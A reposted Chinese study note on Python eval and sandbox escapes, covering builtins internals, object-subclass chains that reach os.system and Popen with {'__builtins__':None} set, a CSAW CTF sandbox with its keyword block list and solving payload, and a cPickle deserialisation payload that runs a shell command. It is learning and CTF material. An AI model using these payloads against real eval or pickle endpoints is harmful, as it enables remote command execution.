python_eval_and_bypass_sandbox_study


__builtin__與__builtins__的區別與關系

python有一個內建模塊,該模塊會在python啟動后,但在沒有執行python代碼前,會被加載到內存.即可用調用里面的函數,其中python2.x中是__builtin__,python3.x中更名為builtins

import __builtin__
print [i for i in __builtin__.__dict__]

輸出

['bytearray', 'IndexError', 'all', 'help', 'vars', 'SyntaxError', 'unicode', 'UnicodeDecodeError', 'memoryview', 'isinstance', 'copyright', 'NameError', 'BytesWarning', 'dict', 'input', 'oct', 'bin', 'SystemExit', 'StandardError', 'format', 'repr', 'sorted', 'False', 'RuntimeWarning', 'list', 'iter', 'reload', 'Warning', '__package__', 'round', 'dir', 'cmp', 'set', 'bytes', 'reduce', 'intern', 'issubclass', 'Ellipsis', 'EOFError', 'locals', 'BufferError', 'slice', 'FloatingPointError', 'sum', 'getattr', 'abs', 'exit', 'print', 'True', 'FutureWarning', 'ImportWarning', 'None', 'hash', 'ReferenceError', 'len', 'credits', 'frozenset', '__name__', 'ord', 'super', 'TypeError', 'license', 'KeyboardInterrupt', 'UserWarning', 'filter', 'range', 'staticmethod', 'SystemError', 'BaseException', 'pow', 'RuntimeError', 'float', 'MemoryError', 'StopIteration', 'globals', 'divmod', 'enumerate', 'apply', 'LookupError', 'open', 'quit', 'basestring', 'UnicodeError', 'zip', 'hex', 'long', 'next', 'ImportError', 'chr', 'xrange', 'type', '__doc__', 'Exception', 'tuple', 'UnicodeTranslateError', 'reversed', 'UnicodeEncodeError', 'IOError', 'hasattr', 'delattr', 'setattr', 'raw_input', 'SyntaxWarning', 'compile', 'ArithmeticError', 'str', 'property', 'GeneratorExit', 'int', '__import__', 'KeyError', 'coerce', 'PendingDeprecationWarning', 'file', 'EnvironmentError', 'unichr', 'id', 'OSError', 'DeprecationWarning', 'min', 'UnicodeWarning', 'execfile', 'any', 'complex', 'bool', 'ValueError', 'NotImplemented', 'map', 'buffer', 'max', 'object', 'TabError', 'callable', 'ZeroDivisionError', 'eval', '__debug__', 'IndentationError', 'AssertionError', 'classmethod', 'UnboundLocalError', 'NotImplementedError', 'AttributeError', 'OverflowError']

即在python代碼中我們可以直接使用這些函數,比如pow,現在如果想更豐富內建模塊功能的話,只需要向這個dict里面添加

import __builtin__
def print_hello():
	print "hello, world"
__builtin__.__dict__['hello'] = print_hello
print_hello()
hello()

__builtins__卻在python2.x/3.x都有,它也就是內建模塊一個引用,與__builtin__相同的是也會一開始被先於程序加載到內存
但不同的是

1、在主模塊main中,__builtins__是對內建模塊__builtin__本身的引用,即__builtins__完全等價於__builtin__,二者完全是一個東西,不分彼此

2、非主模塊main中,__builtins__僅是對__builtin__.__dict__的引用,而非__builtin__本身

eval函數

簡介

eval是將字符串str當成有效的表達式來求值並返回計算結果

原型:eval(expression[, globals[, locals]])

globals為字典形式,locals為任何映射對象,分別是全局和局部命名空間,如果傳入globals字典缺失__builtins__的時候,當前的全局命名空間將作為globals參數輸入並且在表達式之前被解析,locals默認和globals相同,如果兩個都省略掉話,表達式將在eval()調用的環境里面執行

所以就很容易做點什么。

import os
eval("os.system('ls')")

如果os開始沒有導入呢?我們可以通過__import__('os')導入os模塊,與之相比的exec是可以直接import的,原因是它只能執行python表達式

exec('import os')
eval("__import__('os').system('whoami')")
eval繞過

前面的表達式顯示出,后面的兩個參數是可以限制eval執行的函數,這樣就感覺能在一定程度上有點安全

>>> eval('os.system(\'whoami\')',{'abs':abs},{'abs':abs})
Traceback (most recent call last):
  File "/Users/l3m0n/study/program/python/code_study/test3.py", line 15, in <module>
    eval('os.system(\'whoami\')',{'abs':abs},{'abs':abs})
  File "<string>", line 1, in <module>
NameError: name 'os' is not defined

如果是這樣的情況的話:

env = {}
env["locals"]   = None
env["globals"]  = None
env["__name__"] = None
env["__file__"] = None
env["__builtins__"] = None
 
eval(users_str, env)

將作用域中的內置模塊設置為None,但是一開始提到的builtins和builtin區別上面來看就知道了。
__builtins____builtin__的一個引用,在__main__模塊下,兩者是等價的,所以置空是沒效果的

[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == "zipimporter"][0]("/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module("configobj").os.system("uname")

因為eval無法直接加載object,所以需要前面的class和subclasses動態加載,然后再子類zipimporter對egg文件的configobj模塊進行導入,並調用內置模塊中的os模塊來執行命令
其中的egg文件很關鍵,configobj中內置了os模塊,所以只要符合這樣的其他也可以。

egg構造(未成功....)

可以下載帶有setup.py的文件夾,加入
from setuptools import setup, find_packages
然后執行;
python setup.py bdist_egg

可以看看默認object子類

print [x.__name__ for x in ().__class__.__bases__[0].__subclasses__()]

輸出

['type', 'weakref', 'weakcallableproxy', 'weakproxy', 'int', 'basestring', 'bytearray', 'list', 'NoneType', 'NotImplementedType', 'traceback', 'super', 'xrange', 'dict', 'set', 'slice', 'staticmethod', 'complex', 'float', 'buffer', 'long', 'frozenset', 'property', 'memoryview', 'tuple', 'enumerate', 'reversed', 'code', 'frame', 'builtin_function_or_method', 'instancemethod', 'function', 'classobj', 'dictproxy', 'generator', 'getset_descriptor', 'wrapper_descriptor', 'instance', 'ellipsis', 'member_descriptor', 'file', 'PyCapsule', 'cell', 'callable-iterator', 'iterator', 'long_info', 'float_info', 'EncodingMap', 'fieldnameiterator', 'formatteriterator', 'version_info', 'flags', 'BaseException', 'module', 'NullImporter', 'zipimporter', 'stat_result', 'statvfs_result', 'WarningMessage', 'catch_warnings', '_IterationGuard', 'WeakSet', 'Hashable', 'classmethod', 'Iterable', 'Sized', 'Container', 'Callable', '_Printer', '_Helper', 'SRE_Pattern', 'SRE_Match', 'SRE_Scanner', 'Quitter', 'IncrementalEncoder', 'IncrementalDecoder']

這里面有很有模塊,來繞過這個,比如:
會使程序退出:

eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__
 == 'Quitter'][0](0)()", {'__builtins__':None})

或者如果先導入過一些敏感模塊,這可以使用popen來執行命令

import subprocess
eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'Popen'][0](['ping','-c','1','127.0.0.1'])", {'__builtins__':None ,'__builtin__':None})

例如《編寫高質量代碼》中的一則,就可以通過這個繞過:

import subprocess
def ExpCalcBot(string):
	try:
		match_fun_list = ['pow', 'pi', 'e']
		match_fun_dict = dict([ (k, globals().get(k)) for k in match_fun_list ])
		print 'your answer is',eval(string,{"__builtins__" : None}, match_fun_dict)
	except NameError:
		print "The expression you enter is not valid"
ExpCalcBot("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'Popen'][0](['ping','-c','1','127.0.0.1'])")
CSAW-CTF Python sandbox
#!/usr/bin/env python 
from __future__ import print_function
 
print("Welcome to my Python sandbox! Enter commands below!")
 
banned = [  
    "import",
    "exec",
    "eval",
    "pickle",
    "os",
    "subprocess",
    "kevin sucks",
    "input",
    "banned",
    "cry sum more",
    "sys"
]
 
targets = __builtins__.__dict__.keys()  
targets.remove('raw_input')  
targets.remove('print')  
for x in targets:  
    del __builtins__.__dict__[x]
 
while 1:  
    print(">>>", end=' ')
    data = raw_input()
 
    for no in banned:
        if no.lower() in data.lower():
            print("No bueno")
            break
    else: # this means nobreak
        exec data

看了一下writeup,大概是通過類里面找到一個含有os的模塊,也就是上面的egg構造那塊

最后payload:

[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].__dict__.values()[137]('whoami')

RickGray給出的poc(原文顯示有問題,這個poc顯示起來就很好理解):

[x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('echo Hello SandBox')
pickle.loads序列化導致命令執行問題

研究eval隨便也看了看python的序列化問題

import cPickle
cPickle.loads("cos\nsystem\n(S'uname -a'\ntR.")
data = "test" 
#序列化
packed = cPickle.dumps(data)
#反序列化
data = cPickle.loads(packed)

總結

如果對象不是信任源,盡量避免使用eval,可以用安全性更好的ast.literal_eval替代

參考資料

http://drops.wooyun.org/tips/7710

http://drops.wooyun.org/web/7490

http://drops.wooyun.org/papers/66

https://hexplo.it/escaping-the-csawctf-python-sandbox/

http://drops.wooyun.org/web/13057


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM